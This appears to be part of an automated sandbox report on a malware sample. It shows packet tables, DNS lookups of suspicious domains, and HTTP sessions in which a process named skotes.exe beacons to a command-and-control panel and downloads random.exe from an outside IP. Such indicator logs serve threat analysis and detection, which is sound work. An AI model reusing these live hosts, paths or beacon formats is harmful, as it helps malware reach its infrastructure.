Dec 20, 2024 07:12:47.934987068 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.935008049 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.935848951 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.935961962 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.935972929 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.935992956 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.936048031 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.936049938 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.936875105 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.937000990 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.937011957 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.937086105 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.937139988 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.937141895 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.937895060 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.938024044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.938071012 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.938081026 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.938098907 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.938302040 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.938924074 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.939035892 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.939085960 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.939095974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.939137936 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.939140081 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.939254999 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.939943075 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.940052986 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.940124035 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.940135002 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.940172911 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.940176010 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.940958023 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.940985918 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.941057920 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.941159010 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.941169977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.941210032 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.941214085 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.941998959 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.942043066 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.942190886 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.942234039 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.942235947 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.942305088 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.943031073 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.943057060 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.943165064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.943237066 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.943248034 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.943264008 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.944072962 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.944099903 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.944149017 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.944262028 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.944287062 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.944417000 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.945041895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.945066929 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.945081949 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.945286989 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.945311069 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.945396900 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.945542097 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.946069002 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.946177006 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.946300983 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.946351051 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.946352959 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.946412086 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.946481943 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.947082996 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.947191000 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.947355032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.947419882 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.947422028 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.947452068 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.947554111 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.948103905 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.948214054 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.948389053 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.948431969 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.948435068 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.948513031 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.949115038 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.949137926 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.949210882 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.949446917 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.949470997 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.949541092 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.949568033 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.950145006 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.950246096 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.950273037 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.950320005 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.950473070 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.950521946 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.950566053 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.951210976 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.951420069 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.951421022 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.951518059 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.951544046 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.951638937 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.951699972 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.952188015 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.952286005 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.952481985 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.952542067 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.952656031 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.952677011 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.952886105 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.953207016 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.953311920 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.953638077 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.953747034 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.953761101 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.953805923 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.954230070 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.954346895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.954415083 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.954613924 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.954658031 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.954732895 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.954792976 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.955243111 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.955343008 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.955419064 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.955676079 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.955765009 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.955832005 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.956279039 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.956433058 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.956552029 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.956712008 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.956814051 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.956840992 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.957303047 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.957408905 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.957429886 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.957753897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.957767010 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.958101988 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.958127975 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.958282948 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.958404064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.958431005 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.958767891 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.958816051 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.958817959 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.958877087 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.959287882 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.959386110 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.959429026 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.959605932 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.959829092 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.959940910 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.959969044 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.960295916 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.960340023 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.960515022 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.960573912 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.960849047 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.960954905 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.961036921 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.961370945 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.961497068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.961621046 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.961891890 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.962004900 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.962280989 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.962374926 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.962492943 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.962649107 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.962925911 CET	80	49867	31.41.244.11	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 07:12:14.960288048 CET	192.168.2.4	1.1.1.1	0x6022	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:22.271051884 CET	192.168.2.4	1.1.1.1	0xba50	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:35.162648916 CET	192.168.2.4	1.1.1.1	0x8867	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:35.162743092 CET	192.168.2.4	1.1.1.1	0xd846	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 20, 2024 07:12:38.572005987 CET	192.168.2.4	1.1.1.1	0x1cf1	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:38.572101116 CET	192.168.2.4	1.1.1.1	0xa8d1	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 07:12:42.737221956 CET	192.168.2.4	1.1.1.1	0xd3cb	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:42.737330914 CET	192.168.2.4	1.1.1.1	0x2f44	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 07:13:03.182945013 CET	192.168.2.4	1.1.1.1	0x8b99	Standard query (0)	bellflamre.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:03.410007954 CET	192.168.2.4	1.1.1.1	0x1b10	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:04.416167021 CET	192.168.2.4	1.1.1.1	0x1b10	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:06.740211010 CET	192.168.2.4	1.1.1.1	0xc331	Standard query (0)	deafeninggeh.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:07.154598951 CET	192.168.2.4	1.1.1.1	0x7f4e	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:07.154792070 CET	192.168.2.4	1.1.1.1	0xcd4a	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 07:13:07.767544031 CET	192.168.2.4	1.1.1.1	0xc331	Standard query (0)	deafeninggeh.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:10.377466917 CET	192.168.2.4	1.1.1.1	0x1809	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:10.377718925 CET	192.168.2.4	1.1.1.1	0x6b98	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 07:13:15.510090113 CET	192.168.2.4	1.1.1.1	0x9131	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:15.510216951 CET	192.168.2.4	1.1.1.1	0xbb38	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 07:12:15.277086973 CET	1.1.1.1	192.168.2.4	0x6022	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:15.277086973 CET	1.1.1.1	192.168.2.4	0x6022	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:22.584135056 CET	1.1.1.1	192.168.2.4	0xba50	No error (0)	treehoneyi.click		172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:22.584135056 CET	1.1.1.1	192.168.2.4	0xba50	No error (0)	treehoneyi.click		104.21.91.209	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:35.465678930 CET	1.1.1.1	192.168.2.4	0x8867	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:35.465678930 CET	1.1.1.1	192.168.2.4	0x8867	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:39.145566940 CET	1.1.1.1	192.168.2.4	0x1cf1	No error (0)	home.twentytk20pn.top		147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:12:42.874764919 CET	1.1.1.1	192.168.2.4	0xd3cb	No error (0)	home.twentytk20pn.top		147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:03.405199051 CET	1.1.1.1	192.168.2.4	0x8b99	Name error (3)	bellflamre.click	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:04.689846039 CET	1.1.1.1	192.168.2.4	0x1b10	No error (0)	immureprech.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:04.689846039 CET	1.1.1.1	192.168.2.4	0x1b10	No error (0)	immureprech.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:04.689846039 CET	1.1.1.1	192.168.2.4	0x1b10	No error (0)	immureprech.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:04.689877033 CET	1.1.1.1	192.168.2.4	0x1b10	No error (0)	immureprech.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:04.689877033 CET	1.1.1.1	192.168.2.4	0x1b10	No error (0)	immureprech.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:04.689877033 CET	1.1.1.1	192.168.2.4	0x1b10	No error (0)	immureprech.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:07.470443964 CET	1.1.1.1	192.168.2.4	0x7f4e	No error (0)	twentytk20pn.top		147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:08.018503904 CET	1.1.1.1	192.168.2.4	0xc331	No error (0)	deafeninggeh.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:08.018503904 CET	1.1.1.1	192.168.2.4	0xc331	No error (0)	deafeninggeh.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:08.018503904 CET	1.1.1.1	192.168.2.4	0xc331	No error (0)	deafeninggeh.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:08.018517971 CET	1.1.1.1	192.168.2.4	0xc331	No error (0)	deafeninggeh.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:08.018517971 CET	1.1.1.1	192.168.2.4	0xc331	No error (0)	deafeninggeh.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:08.018517971 CET	1.1.1.1	192.168.2.4	0xc331	No error (0)	deafeninggeh.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:10.514975071 CET	1.1.1.1	192.168.2.4	0x1809	No error (0)	twentytk20pn.top		147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:15.646920919 CET	1.1.1.1	192.168.2.4	0x9131	No error (0)	www.google.com		172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:13:15.648004055 CET	1.1.1.1	192.168.2.4	0xbb38	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49747	185.215.113.43	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:04.108078957 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 07:12:05.450751066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49756	185.215.113.43	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:07.085319996 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 20, 2024 07:12:08.463793993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 65 39 0d 0a 20 3c 63 3e 31 30 31 38 32 36 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 38 32 36 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 30 39 63 34 35 34 33 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 32 36 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 38 32 36 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 [TRUNCATED] Data Ascii: 6e9 <c>1018264001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1018265001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1018266001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1018267001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#1018268001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1018269001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc97c994e5faf1cf64d4a485a9592e100b7#1018270001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1018271001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#1018272001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1018273001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1018274001+++fc [TRUNCATED]
Dec 20, 2024 07:12:08.463813066 CET	124	IN	Data Raw: 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 38 32 37 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 Data Ascii: 8e6b1ca72dd534db057eb410a494d9d#1018275001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#10
Dec 20, 2024 07:12:08.698498011 CET	600	IN	Data Raw: 31 38 32 37 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 Data Ascii: 18276001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1018277001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1018278001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4de

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49759	31.41.244.11	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:08.823952913 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
